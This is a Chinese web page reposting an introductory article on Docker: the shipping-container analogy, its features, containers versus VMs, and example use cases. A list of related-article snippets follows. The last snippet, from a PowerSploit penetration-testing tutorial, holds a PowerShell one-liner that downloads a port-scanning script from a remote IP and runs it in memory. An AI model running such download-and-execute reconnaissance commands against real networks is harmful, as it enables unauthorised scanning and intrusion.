Docker:集裝箱式“運輸”在軟件上的實現

Docker是由PaaS提供商dotCloud在2013年年初創建的一款開源應用引擎,Docker可以自動將任何應用打包成輕量、可移植、自包涵的容器引擎。開發者構建的應用可以一次構建全平臺運行,包括本地開發機器,生產環境,虛擬機和云等。

Docker基于Go語言開發,代碼托管在?Github上,并遵循Apache 2.0開源協議。近期,這個項目得到了越來越多的用戶追捧,Github上的Star數已經9000多,Google的Compute Engine也支持 Docker,而在國內,知名的?百度也把Docker作為其Paas的基礎。

?

來自Docker官方博客

Docker容器可以封裝任何有效負載,幾乎可以在任何服務器之間進行一致性運行。?

Docker的常用案例包括:?

  • 自動打包和部署應用
  • 創建輕量、私有的PaaS環境
  • 自動化測試和持續集成/部署
  • 部署并擴展Web應用、數據庫和后端服務器

背景

十五年前,幾乎所有的應用都是采用定義良好的堆棧編寫,并且部署到單一的專有服務器上。今天,開發人員可以使用現成的最佳服務組合構建和裝配應用程序,并且為這些應用程序進行跨不同硬件環境的多重部署做好了準備,包括公共的、私有的和虛擬化的服務器。

?

圖1 IT演變

這種設置可能會用在:?

  • 不同服務和“依賴抵御”之間的相互不良反應
  • 在快速遷移和跨不同硬件之間面臨挑戰,不可能管理一個跨多個服務并且被部署在不同硬件類型上的矩陣。

?

圖2?多個棧和多種硬件環境所面臨的挑戰

我們可以看到,這里有大量的組合和排列應用/服務以及隨時需要考慮每一個應用程序被寫入或改寫的硬件環境。這將給編寫應用程序的開發人員和試圖創建一個穩定、安全、高性能操作環境的人們帶來一個困難的局面。

?

圖3 使用動態棧和動態硬件環境創建一個N*N矩陣

那么,該如何解決這種局面呢?讓我們舉個運輸界的例子,在1960年之前,大多數散貨通過船進行托運,托運人和承運人很擔心不同類型的貨物之間會發生些不良反應(例如,一批鐵壓在一袋香蕉上)。同樣,各種不同運輸方式之間進行轉換也是非常痛苦的,其中一大半的時間都是花在港口對貨物進行卸載,然后再裝載,并且還要等待同一批貨物一起被裝到火車、卡車等交通工具上。這樣,在多種不同物品和多個不同的運輸機制之間就存在一個N*N的矩陣。

?

圖4 1960年之前的海運

幸運地是,標準集裝箱的出現解決了以上所面臨的難題。任何貨物,從開心果到保時捷,都可以通過標準集裝箱進行包裝。托運人員或承運人可以把集裝箱進行密封或者禁止再次打開,直到運輸到目的地。在運輸過程中,集裝箱可以被卸載、裝載、堆積、運輸并且還可以有效地長距離運輸。集裝箱顛覆了全球運輸方式——一個標準,讓貨物在火車、汽車、輪船之間暢通無阻。今天,有1800萬只集裝箱進行著90%的世界貿易。

?

圖5 一個標準容器(集裝箱)的出現解決了運輸方面的難題

在某種程度上,Docker可以看作是用代碼編寫出來的國際集裝箱。?

?

圖6?軟件“運輸”解決方案也是一個標準的容器系統

Docker可以把任何應用及相關依賴項打包成一個輕量、可移植、自包涵式的容器,該容器擁有標準的操作,從而能夠實現自動化。與此同時,所有的應用都可以運行在任何Linux服務上。相同的容器,開發者可以在筆記本上有規模的運行、生產、也可以在虛擬機、邏輯服務器、OpenStack集群、公共實例、或以上所有結合(的方式)上運行。

換句話說,開發者構建的應用只需一次構建即可多平臺運行。運營人員只需配置他們的服務,即可運行所有的應用。

Docker的主要功能特征

?物理容器Docker
內容無關性(Content Agnostic)?相同的集裝箱可以容納幾乎任何類型的貨物?可以封裝任何有效負載及其依賴項
硬件無關性(Hardware Agnostic)

同一標準的容器允許把貨物從船上運輸到火車、卡車上,直到運輸到倉庫,整個過程無需整理貨物或打開容器

使用操作系統基元(例如:LXC)幾乎可以在任何平臺上運行——虛擬機、裸機、OpenStack、公共IaaS等,并且無需修改

內容隔離和交互無需擔心鐵壓在香蕉上,容器可以堆積運輸資源、網絡和內容隔離,避免依賴地獄?
自動化

標準的接口使其易于實現自動化裝卸、搬運等

運行、啟動、停止、提交、搜索等都有標準的操作,非常適合devops:CI、CD、自動擴展、混合云

高效無需打開或修改,可以在起始兩地快速地移動/運輸?輕量級、幾乎沒有任何偏向和啟動懲罰,可以進行快速移動和操作?
職責分離?托運人擔心盒子內部、承運人擔心盒子外部?開發人員擔心代碼,運營人員擔心基礎設施?

更多技術特性:

  • 文件系統隔離:每個進程容器都運行在一個完全獨立的根文件系統里;
  • 資源隔離:系統資源,例如CPU、內存等,使用cgroups分配在不同的流程容器里;
  • 網絡隔離:每個進程容器攜帶自身的一個虛擬接口和IP地址運行在自己的網絡空間;
  • 即寫即拷(Copy-on-write):使用即寫即拷方式創建根文件系統,這樣部署速度極快、內存和硬盤空間極少;
  • 日志:Docker將會收集和記錄每個進程容器的標準流(stdout/stderr/stdin),用于實時檢索或批量檢索;
  • 變更管理:容器文件系統的變更可以提交到新的映像(image)中,并可重復使用以創建更多的容器。無需使用模板或手動配置;
  • 交互式shell:Docker可以分配一個虛擬終端并關聯到任何容器的標準輸入上,例如運行一個一次性交互shell。

Docker有哪些基本功能?

Docker讓開發和運維變的簡單。下面這幅圖會讓你對Docker基本功能有個很好的認識,Docker會將網絡,存儲這些事情都配好。下載應用并安裝。并配置一些參數,打包上傳Image。此外,Container既可以手動創建,也可以自動創建,如果源碼庫里面包涵DockerFile文件,那么將會自動創建,容器里不僅包涵應用,還包括應用的所有依賴項。

開發人員可以使用Docker Search命令在Docker Registry(無論是公有還是私有的)里搜索Containers,并且還可以使用Docker Pull命令從注冊表里推送Container,使用Docker Run命令執行啟動、運行、停止等操作。值得注意的是,Run命令的對象可能是你自己的服務器、公共實例或者是兩者的組合。

?

圖7 Docker的基本功能

關于Docker的完整功能列表,大家可以訪問:?http://docs.docker.io/en/latest/commandline/

Docker的三種運行方式:作為守護進程,在Linux主機上管理LXC容器;作為一個CLI,與守護進程的REST API進行對話(docker run ...);作為倉庫的客戶端,分享你所構建的內容(docker pull, docker commit)。

Containers是如何工作的?與VMs有何不同?

一個Container通常包含應用及應用依賴項,Container用來隔離進程,這些進程主要運行在主機操作系統上的隔離區和用戶空間。?

這個是明顯不同于傳統的VMs。傳統的硬件虛擬化(例如VMWare、KVM、Xen、EC2)旨在創造一個完整虛擬機。每個虛擬化應用不僅包含應用的二進制文件,還需運行該應用程序所需的庫、一個完整的Guest操作系統。?

?

圖8??Containers vs. 傳統VMs

由于所有的容器共享同一個操作系統(以及二進制文件和庫),所以,他們明顯要比VM小的多,這樣,就完全可以在一個物理主機上托管100個VMs(一般VM數量會受到嚴格限制)。此外,因為它們使用主機操作系統,重啟一個VM并不意味著要重啟操作系統,因此,容器更加輕便、高效。

Docker中的容器效率會更高。因為一個傳統的VM、應用、每個應用副本以及每個應用微小的變更都需要重新創建一個完整的VM。?

如上圖所示,一個新的應用在主機上僅僅包含應用及其二進制文件/庫,這樣就無需創建一個新的客戶機操作系統。?

如果你想在主機上運行該應用的幾個副本,你甚至無需復制共享的二進制文件。?

最后,即使你對應用進行了變更,你也無需拷貝變更內容。?

?

圖9?Mechanism讓Docker容器更輕量

這不僅讓存儲和容器運行變得更高效,還讓應用程序更新變得極其簡便。正如下圖所示,更新一個容器只需應用差異的地方。?

?

圖10 修改和更新Container

下面分享一些比較酷的Docker用例

實例實例描述鏈接
構建自己的PaaS?Dokku——Docker實現的mini-Heroku。你所見過最小的PaaS實現?http://bit.ly/191Tgsx?
基于指令環境的Web?JiffyLab——基于指令環境的Web,使用更輕量、Python和UNIX shell?http://bit.ly/12oaj2K?
應用部署簡便

使用Docker部署Java應用

在Docker上運行Drupal

在Docker上安裝Redis

http://bit.ly/11BCvvu?
http://bit.ly/15MJS6B?
http://bit.ly/16EWOKh
創建安全沙盒Docker讓安全沙盒的創建更簡單?http://bit.ly/13mZGJH
創建自己的SaaS?把Memcached作為服務http://bit.ly/11nL8vh?
應用程序自動化部署?使用Docker的Push-button部署?http://bit.ly/1bTKZTo?
持續集成部署dotCloud的Docker和Strider的下一代持續集成&部署?http://bit.ly/ZwTfoy?
輕量級桌面虛擬化?Docker桌面:通過SSH運行一個內部Docker容器http://bit.ly/14RYL6x?

備注:以上鏈接需翻墻

轉自:https://www.csdn.net/article/2014-02-01/2818306-Docker-Story

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:
http://www.pswp.cn/news/449601.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/449601.shtml
英文地址,請注明出處:http://en.pswp.cn/news/449601.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

CAMP選股

挑選五只股票:萬科A、中國平安、貴州茅臺、萬華化學和科大訊飛,然后我們以滬深300作為市場基準。import pandas as pd import tushare as ts # 獲取數據 pro ts.pro_api() wanke pro.daily(ts_code000002.SZ, start_date20170101) pingan pro.daily(t…

大二下周總結(三)

記錄時間第三周所花時間(包括上課)13h代碼行500博客量2所了解到的知識點html java-script java本周用在練習代碼的時間自己感覺還可以,由于在第二周課堂練習后覺得自己有許多不足,所以有了必須奮進的壓力。 除了編寫代碼能力的提高…

C讀寫ini文件

/* read/write ini file with c function file testini.c chinayaosir blog: http://blog.csdn.net/chinayaosir connect.ini [database] 此程序有些BUG 當ini文件不存在時,第一次建立connect.ini文件時, 在[database]前面會多一個空格. */ #include…

包含天,時,分,秒的倒計時

這個很基礎的東西寫的過程中出了很多小的錯誤&#xff0c;在此記錄一下。 原生的js。 結構&#xff1a; <p id"time"></p> js: <script>  var start new Date().getTime(); // 獲取開始時間  var end new Dat…

計算相關度

# 使用numpy import numpy as np R [0.01, 0.05, 0.02, -0.03] var1 np.var(R) std1 np.std(R) # # 使用pandas import pandas as pd R pd.Series([0.01, 0.05, 0.02, -0.03]) var2 R.var() std2 R.std() import pandas as pd import tushare as ts pro ts.pro_api() w…

如何使用Dockerfile構建鏡像

前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 Dockfile是一種被Docker程序解釋的腳本&#xff0c;Dockerfile由一條一條的指令組成&#xff0c;每條指令對應Linux下面的一條命令。Doc…

今時今日,C還適合當下之所需么?

本文來源于我在InfoQ中文站翻譯的文章&#xff0c;原文地址是&#xff1a;http://www.infoq.com/cn/news/2013/01/C-Language 來自Couchbase的Damien Katz認為C依然是非常適合于后端編程的一門語言&#xff0c;然而有的開發者則覺得C有太多的瑕疵&#xff0c;他們支持C或是Java…

《吳軍.科技史綱60講》摘錄

本文由Markdown語法編輯器編輯完成&#xff0e; 《科技史綱60講》是吳軍老師最新開設的專欄名稱&#xff0c;該專欄主要是講解人類文明和科技發展史。吳軍老師在專欄的發刊詞《歷史總在重演&#xff0c;科技永遠向前》中提到&#xff0c;能量和信息是貫穿人類文明發展的兩條線索…

API Gateway——KONG簡單入門

一、簡介 前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 Kong&#xff0c;是由Mashape公司開源的&#xff0c;基于Nginx的API gateway。 二、特點 可擴展&#xff1a;支持分布式 模塊化…

小程序 公眾號/h5相互跳轉-webview

小程序與h5的跳轉 前提小程序管理后臺配置域名白名單&#xff0c;并且h5頁面是嵌在小程序里面&#xff08;相互跳的前提條件&#xff09; 在業務域名中設置好訪問的h5地址 微信官方web-view 介紹地址 https://developers.weixin.qq.com/miniprogram/dev/component/web-view.ht…

十、eclipse快捷鍵大全

eclipse快捷鍵大全轉載于:https://www.cnblogs.com/zheaven/p/10541531.html

如何保證代碼的高質量?

代碼的高質量是軟件的靈魂&#xff0c;代碼 數據結構 算法&#xff0c; 而高質量的代碼 優良的變量、函數命名 優良的代碼結構、代碼層次結構 數據結構 算法。 時時刻刻想這上面的四點&#xff0c;你的代碼就會漸漸的上新臺階&#xff0c;老板不給你加工資還…

centos6.5 安裝 kong 網關

前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 最近要求了解下kong網關&#xff0c;然后在網上一頓找&#xff0c;說實話&#xff0c;度娘的力量還是不行啊&#xff0c;找出來的那些跟…

lucene學習的小結

pom.xml設置 <dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version><scope>test</scope></dependency><dependency><groupId>org.apache.lucene</groupId&…

并行計算的專訪

摘要&#xff1a;社區之星第9期采訪的嘉賓是香港浸會大學計算機在讀博士、浪潮高性能計算顧問趙開勇。此次他為我們揭開了高性能計算的神秘面紗&#xff0c;為讀者講解自己的經驗心得。并且他認為基于移動設備的高性能計算將會成為未來潮流&#xff0c;低功耗、高性能也將成為一…

CentOS6.5 搭建 LNMP (linux + nginx + mysql + php)

前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 1&#xff1a;查看環境&#xff1a; 12[root10-4-14-168 html]# cat /etc/redhat-releaseCentOS release 6.5 (Final)2&#xff1a;關掉…

正睿2019省選附加賽 Day10 (這篇其實已經都咕咕了...)

目錄 2019.3.13A.算算算(二項式定理 斯特林數)B.買買買C.樹樹樹2019.3.13比賽鏈接 A.算算算(二項式定理 斯特林數) 題目鏈接 \(x^k\)可以用二項式定理展開&#xff0c;需要維護的就是\(0\sim k\)次方的\(\sum_{j}F(j,i)\)。加入一個數時&#xff0c;每一項都要再用一遍二項式定…

freemarker 從 spring boot execute jar可執行jar中訪問模板文件

2019獨角獸企業重金招聘Python工程師標準>>> private static Configuration freemarkerCfg null;static {freemarkerCfg new Configuration();//freemarker的模板目錄try {String pathPrefix "/";// 為了支持能從execute jar 中獲取模板文件URI uri C…

獲取所有股票數據

#%%#先引入后面可能用到的包&#xff08;package&#xff09; import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns sns.set() %matplotlib inline #正常顯示畫圖時出現的中文和負號 from pylab import mpl mpl.rcParams[font.…

POWERSPLOIT-Recon(信息偵察)腳本滲透實戰

Recon(信息偵察)模塊 a) 調用invoke-Portscan掃描內網主機的端口。 1&#xff09;通過IEX下載并調用invoke-portscan。 PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1&qu…